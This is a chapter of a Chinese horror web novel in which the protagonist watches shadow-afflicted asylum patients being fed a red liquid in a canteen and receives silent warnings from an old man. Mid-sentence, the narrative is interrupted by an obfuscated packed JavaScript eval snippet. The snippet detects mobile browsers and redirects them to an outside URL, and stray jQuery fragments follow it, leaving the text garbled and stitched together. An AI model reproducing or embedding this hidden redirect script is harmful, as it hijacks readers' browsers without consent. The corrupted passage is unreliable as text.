5. 食堂魅影

作品:《第七病栋影蚀起源

    记忆的碎片带着余痛,沉甸甸地压在顾风的心口,像冰冷的铅块。下岗,母亲的病,小雅离去时疲惫的背影,高利贷,那个猩红的链接,后脑的闷痛……所有画面最终坍缩成一个黑暗的起点,然后便是这个惨白、死寂、浸透着腐烂甜味的精神病院。


    他不是病人。至少,不是传统意义上的精神病。他是一个被“游戏”捕捉进来的“样本”。


    这个认知并没有带来多少解脱,反而让寒意更深入骨髓。游戏?什么样的游戏,会把人扔进这种影子会自己蠕动、护士能扭转脖子一百八十度的地方?那所谓的“万元启动资金”和“百万大奖”,恐怕要用他的命,或者比命更可怕的东西来换。


    他定了定神,将那些翻涌的、带着苦涩铁锈味的回忆强行压下。现在不是沉湎过去的时候。活下去,弄明白,逃出去——这是唯一的目标。


    他沿着陌生的走廊,朝着人声和碗碟碰撞声传来的方向走去。脚下的影子沉默地跟随,但顾风能感觉到,不,是“看”到,那团黑影的边缘,在药效赋予的诡异视野里,确实比刚才又向外“晕”开了一点点,颜色也越发沉暗,那抹灰正向褐红滑落。同化,正在发生,无声无息,却坚定不移。


    走廊越来越破败,墙皮大块脱落,露出后面黑黢黢的水泥,有些地方的日光灯彻底坏了,只留下一段段吞噬光线的黑暗。甜腻的腐烂气味在这里变得复杂,混合着食物馊败、人体汗臭和另一种……难以形容的、类似陈旧血污的腥气。


    拐过一个弯,眼前豁然开朗。


    一个巨大的、挑高的空间,像是旧厂房改造的饭厅。摆放着几十张长长的金属桌椅,大部分已经斑驳掉漆。惨白的日光灯管密集地排列在头顶,照得下面一片通明,甚至有些刺眼。


    饭厅里坐着不少人,几乎都穿着蓝白条纹病号服。他们低头坐在桌前,姿态各异,有的佝偻着背,有的脖子以奇怪的角度歪斜,有的则挺得笔直,像木偶。没有人说话,只有金属勺偶尔刮过餐盘的刺耳声响,和一些人喉咙里发出的无意义的咕哝声。


    空气凝滞,一种压抑的、非人的秩序统治着这里。


    顾风站在入口处的阴影里,目光迅速扫视。


    没有看到那个干瘦老头。


    饭厅前方,靠近打饭窗口的地方,站着几个白色的身影。是护士。不止一个。她们同样穿着笔挺僵硬的护士服,戴着压低的护士帽,像一排没有生命的石膏像,面对着坐满病人的餐桌。她们没有在分发食物,食物似乎已经分配完毕。她们只是……站着,脸隐藏在帽檐的阴影下,仿佛在“监督”。


    打饭窗口后面,影影绰绰,似乎有人影在忙碌,但看不真切。


    顾风的视线,不由自主地落在了那些病人……以及他们脚下的影子上。


    在如此明亮、几乎无死角的顶光照射下,每个人的影子都缩在脚下,一小团浓黑。


    但用那种特殊的“视野”去看——


    顾风的呼吸微微一滞。


    不是所有人的影子都“正常”。


    大部分病人的影子,看起来就是普通的黑影,形状与本人坐姿大致吻合。但有那么几个……他们的影子,轮廓明显与身体不一致。一个胖子,影子却异常瘦长,像被拉长的鬼影;一个坐得笔直的男人,他的影子在肩颈处,有一块不规则的、蠕动般的凸起;还有一个女人,她的影子颜色格外深沉,边缘处甚至泛起了一丝和护士影子类似的、暗沉的褐红色。


    而且,顾风注意到,那些影子异常的病人,他们吃饭的动作也格外僵硬、缓慢,甚至有些……不协调。好像控制身体的,并非完全是他们自己的意志。


    他的目光又转向那些站立的护士。


    在强光下,护士们的影子同样缩在脚下。但顾风凝聚精神去看时,那种“渗透”感比在昏暗走廊里看到的更加清晰。她们影子的边缘,像浸了水的墨迹,正以肉眼几乎无法察觉、但确实存在的速度,极其缓慢地向四周的地面“洇”开。影子的颜色,是统一的、不祥的暗褐红,如同干涸的血垢。


    这整个饭厅,就像一个巨大的培养皿。而光和影,正在上演着某种无声的、可怕的嬗变。


    他应该进去吗?混入其中?


    就在这时,一个护士似乎察觉到了什么,帽檐下的阴影,极其缓慢地转向了入口的方向。


    顾风心头一紧,立刻缩回身子,背紧紧贴在冰冷的墙壁上。不能被发现站在这里窥探。他需要融入。


    他深吸一口气,尽量让自己看起来麻木、呆滞,模仿着那些病人的姿态,微微佝偻起背,低垂下头,然后迈步走进了饭厅。


    明亮的灯光让他有些眩晕。他感觉到许多目光——或者说,是许多“注视感”——落在身上。来自护士?还是来自那些影子异常的“病人”?


    他不敢抬头,凭着感觉,朝着一个看起来人少些的角落空位走去。桌椅冰凉。他坐下,面前是一个空的不锈钢餐盘。


    旁边的病人对他的到来毫无反应,只是用勺子机械地刮着盘子里糊状的食物,送进嘴里,咀嚼,吞咽。那食物呈灰绿色,黏糊糊的一团,散发着一股混合了消毒水和廉价淀粉的气味。


    没有食欲,只有反胃。


    但他强迫自己拿起旁边放着的勺子,学着别人的样子,在空盘子里无意义地划动。眼睛的余光,却警惕地观察着四周。


    那个干瘦老头……在哪里?


    他的目光在人群中逡巡。一张张麻木或扭曲的脸,在强光下显得毫无生气。没有。


    是还没来?还是……


    突然,饭厅前方传来一阵轻微的骚动。


    不是声音的骚动,而是一种“氛围”的改变。仿佛所有的“注视感”都集中到了同一个方向。


    顾风用最小的幅度,抬起眼皮看去。


    只见一个护士推着那辆熟悉的浅绿色推车,从后厨方向走了出来。推车上没有药,而是放着一个很大的、盖着白布的不锈钢桶。


    护士推车走到饭厅中央,停下。其他几个站立监督的护士,帽檐下的阴影,似乎也同时转向了那个桶。


    推车的护士掀开了白布。


    桶里是某种深色的、冒着微弱热气的液体,颜色浑浊暗红,表面漂浮着一些无法辨别的细小颗粒。一股难以形容的气味弥漫开来——比饭菜的馊味更浓烈,比腐烂的甜味更腥浊,里面似乎还夹杂着一丝……焦糊味?


    这不是食物。


    顾风的心沉了下去。


    推车护士拿起一个长柄勺,开始从桶里舀出那种暗红色的液体,挨个走到那些影子明显异常的病人身边,将一勺液体倒入他们的餐盘,或者直接递到他们嘴边。


    被喂食的病人,没有任何反抗,甚至没有多余的表情。他们张开嘴,或者任由液体倒入餐盘,然后机械地、顺从地将那些东西喝下或吃下(如果那能称为“吃”的话)。


    喝下液体后,那些病人影子的异常,似乎……更加明显了。那个胖子瘦长的影子,颜色瞬间加深;肩膀有凸起影子的男人,脖子猛地抽搐了一下;影子边缘泛褐红的女人,则发出了一声极其轻微、仿佛舒气般的呻吟。


    而那些影子看起来“正常”的病人,对这一切视若无睹,依旧麻木地吃着盘子里灰绿色的糊状物。


    顾风感到一阵冰冷的恶心从胃里翻上来。那桶里的东西,是“饲料”?专门喂给那些“同化”程度更高的“样本”?


    他的手下意识地握紧了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081223|195322||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冰冷的金属勺柄。


    必须离开这里。必须找到那个老头,或者别的什么线索。


    他注意到,护士们似乎专注于分发那种暗红色液体,对普通病人的“监管”略有松懈。


    机会。


    他慢慢地、极其自然地放下勺子,身体微微后靠,目光快速扫向饭厅的几个出口。除了他进来的那个,对面似乎还有一扇门,标着“厨房”或“后勤通道”,还有侧后方,有一扇看起来更厚重、带着小窗的门,可能是通往其他区域的。


    哪个?


    忽然,他感觉到一道目光。


    不是来自护士,也不是来自那些异常病人。


    来自他斜对面,隔了两张桌子。


    是那个干瘦老头。


    他不知道老头是什么时候出现的,就像他一直坐在那里,只是顾风之前没注意到。老头低着头,面前餐盘里的食物也几乎没动。他没有看顾风,但顾风就是能感觉到,老头的注意力在他身上。


    老头的嘴唇,再次几不可察地动了动。没有声音。


    顾风死死盯着他的口型。


    “后……厨……通……道……夜……”


    后厨通道?夜?


    老头的意思是,夜里从后厨通道离开?


    没等顾风有更多反应,老头极其缓慢地、几乎是以帧为单位地,抬起了一根枯瘦的手指,指了指顾风,然后,指尖极其轻微地,向下点了点。


    顾风顺着那微不可查的指示,垂下目光,看向自己脚下。


    在饭厅明亮的顶光下,他的影子缩在椅子腿旁边。


    但在顾风的“视野”中,他清晰地看到,自己影子的头部轮廓,那个之前就觉得有些“膨胀”的区域,此刻,颜色正以一种肉眼可见的速度,加深,变暗,边缘甚至开始泛起一丝……极其淡的、但确实存在的暗红色。


    同化……加速了。是因为在这里?因为接近那些“饲料”?还是因为别的什么?


    老头的手指,又极其缓慢地,移向他自己脚下。


    顾风看过去。


    老头的影子,在强光下,只是一团普通的、颜色稍浅的黑影。形状贴合,没有任何异常。


    但老头的手指,在影子心脏的位置,轻轻点了点。


    然后,他抬起头,浑浊的眼珠第一次真正地对上了顾风的视线。


    那眼神里,没有麻木,没有疯狂,只有一种深不见底的疲惫,和一丝极其微弱的、几乎要熄灭的……清明。


    口型再次变化:


    “小心……你的‘心’……”


    心?


    没等顾风理解,老头已经重新低下了头,变回那个毫无存在感的、木然的病人。


    而这时,那个分发暗红液体的护士,似乎完成了她的工作,推着空桶,开始往回走。她的帽檐阴影,不经意地扫过顾风所在的区域。


    顾风立刻低下头,死死盯着自己餐盘里根本不存在的食物,用勺子无意义地刮着盘子,发出轻微的刺耳声响。


    他能感觉到,那道冰冷的“注视”在他身上停留了一瞬,然后移开了。


    嗒…嗒…嗒…推车声渐渐远去,消失在疑似后厨通道的门后。


    饭厅里的压抑气氛似乎缓和了一丝。但那种无处不在的、甜腻腐烂中混合了暗红液体腥浊的气味,却久久不散。


    顾风坐在原地,掌心一片冰凉黏腻。


    后厨通道。夜里。


    还有……小心“心”。


    他低头,再次看向自己脚下那团正在缓慢而坚定地改变颜色的影子,又摸了摸口袋里那个刻着“7”和诡异符号的卡片,以及那个标注着“样本‘影’”的玻璃瓶。


    时间,不多了。